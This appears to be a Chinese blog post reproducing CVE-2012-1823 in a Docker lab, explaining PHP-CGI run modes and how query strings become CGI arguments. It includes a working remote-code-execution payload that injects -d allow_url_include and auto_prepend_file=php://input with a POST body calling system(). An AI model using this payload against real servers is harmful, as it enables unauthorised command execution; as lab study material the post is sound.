首页 > 其他分享 >CVE-2012-1823复现练习

CVE-2012-1823复现练习

时间:2024-01-19 17:34:13浏览次数:39  
标签:CGI 文件 php 执行 1823 PHP CVE 2012

环境搭建:

Docker Desktop开启
cd /CVE-2012-1823
docker-compose up -d
image.png
本地访问80端口
image.png

分析

PHP-CGI直接将用户的请求作为了PHP-CGI的参数执行,导致远程代码的执行。
先上执行结果
image.png
image.png

PHP的运行模式:

  1. CGI

通用网关接口,接收网页浏览器的数据发送给web服务器,再把执行结果返回给浏览器
参考:CGI相当于执行了response = exec("php -f index.php -url=xxx -cookie=xxx -xxx=xxx")

  1. FastCGI

CGI的升级版本,可以一直执行,而不需要每次都需要花费事件去fork一次

  1. Cli

php的命令运行模式,可以直接启动一个php文件并执行

  1. Module加载

针对apache,把php作为apache的一个子模块运行
CGI模式下可控的命令行参数:

  1. -c指定php.ini文件的位置
  2. -n不要加载php.ini 文件
  3. -d指定配置项
  4. -b启动fastcgi进程
  5. -s显示文件源码
  6. -T执行指定次该文件
  7. -h/-?显示帮助

漏洞成因:

首先得知道为什么会将用户的请求作为了PHP-CGI的参数执行?RFC3875中规定,当querystring中不包含没有解码的=号的情况下(感觉这个理解很拗口,在原文章找到了个评论好理解些:“没有编码的=号”),要将querystring作为cgi的参数传入。
所以可以对其进行利用,使用-d来制造文件文件包含漏洞,实现远程文件包含

payload:

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a
POST: <?php echo system('ls /');?>
allow_url_include=on 表示允许文件包含
auto_prepend_file 表示每次在加载访问的php文件之前都访问php://input (访问POST原始数据)

总结

emm,其实还不是非常理解querystring是怎么被CGI进行处理的,后续还会继续学习。

参考资料

https://www.freebuf.com/articles/web/213647.html
https://www.cnblogs.com/lthlsy/p/14820076.html
https://paper.seebug.org/297/
https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
https://www.cnblogs.com/Renyi-Fan/p/9811197.html#_label0_1

标签:CGI,文件,php,执行,1823,PHP,CVE,2012
From: https://www.cnblogs.com/Crayon-Blog/p/17975198

相关文章

  • 实战技巧CVE-2015-0005
    启用SMB签名和通信会话签名后,应用服务器和客户端之间的所有流量都有签名验证保护,中间人gongji者因为无法伪造签名而不能与目标主机进行正常的通信。签名密钥SessionKey基于客户端账号的口令NTLM值生成,应用服务器在认证阶段从认证服务器获取;客户端采用和认证服务器相同的算法,基于自......
  • CVE-2022-44268 imageMagick LFI
    ImageMagick TheImageMagickisthetoolmodifythepicture.ThefunctionofImageMagickisELFfilenamedmagick.ThevulnerabilityversionofImageMagickis7.1.0-49ExploitItwilluseImageMagicktoresizetheimage,weneedtocreateamaliciousima......
  • SpiderFlow爬虫平台漏洞利用分析(CVE-2024-0195)
    1.漏洞介绍SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionName、parameters 或 sc......
  • vulnhub-matrix(cve-2022-0847提权)
    环境准备靶机matrix192.168.116.134攻击机kali192.168.116.130演示启动靶机,使用nmap探测网段nmap192.168.116.0/24 扫描192.168.116.134全端口nmap-p1-65535192.168.116.134 访问网站 扫描目录gobusterdir-uhttp://192.168.116.134/-xphp,bak,tx......
  • OFBiz RCE漏洞复现(CVE-2023-51467)
    漏洞名称ApacheOFBiz鉴权绕过导致命令执行漏洞描述ApacheOFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz最主要......
  • [NOIP2012 提高组] 借教室
    [NOIP2012提高组]借教室题目描述在大学期间,经常需要租借教室。大到院系举办活动,小到学习小组自习讨论,都需要向学校申请借教室。教室的大小功能不同,借教室人的身份不同,借教室的手续也不一样。面对海量租借教室的信息,我们自然希望编程解决这个问题。我们需要处理接下来天的借教室......
  • CVE-2020-11800
    ZabbixServertrapper命令注入漏洞(CVE-2020-11800)Zabbix是由AlexeiVladishev开发的一种网络监控、管理系统,基于Server-Clinet架构。在CVE-2017-2824中,其Server端trappercommand功能存在一处代码执行漏洞,而修复补丁并补完善,导致可以利用IPv6进行绕过,注入任意命令。环境搭建执......
  • NGINX文件名漏洞(CVE-2013-4547)
    影响版本Nignx0.8.41~1.4.3/1.5.0~1.5.7漏洞原因由于nginx的版本原因+运维人的问题导致,其实和低版本nginx漏洞问题差不大多,也属于nginx解析漏洞的一种复现nginx版本上传文件-给文件名添加空格和php代码直接访问图片-失败恶意访问-成功修改请求找到两个空格(......
  • P4021 [CTSC2012] 最短路
    [CTSC2012]最短路LuoguP4021题目描述给定一个节点\(1\)和节点\(n\)连通的正权无向图\(G\),请你删除不超过\(k\)条边,使得节点\(1\)和节点\(n\)仍然连通的同时,且这两点之间的最短路尽可能长。提交答案题。Solution模拟赛考到这道,改完这道题我爆了。提交答案题一......
  • Diffie-Hellman Key Agreement Protocol 安全漏洞 (CVE-2002-20001)【原理扫描】
    Diffie-HellmanKeyAgreementProtocol是一种密钥协商协议。它最初在Diffie和Hellman关于公钥密码学的开创性论文中有所描述。该密钥协商协议允许Alice和Bob交换公钥值,并根据这些值和他们自己对应的私钥的知识,安全地计算共享密钥K,从而实现进一步的安全通信。仅知道交换......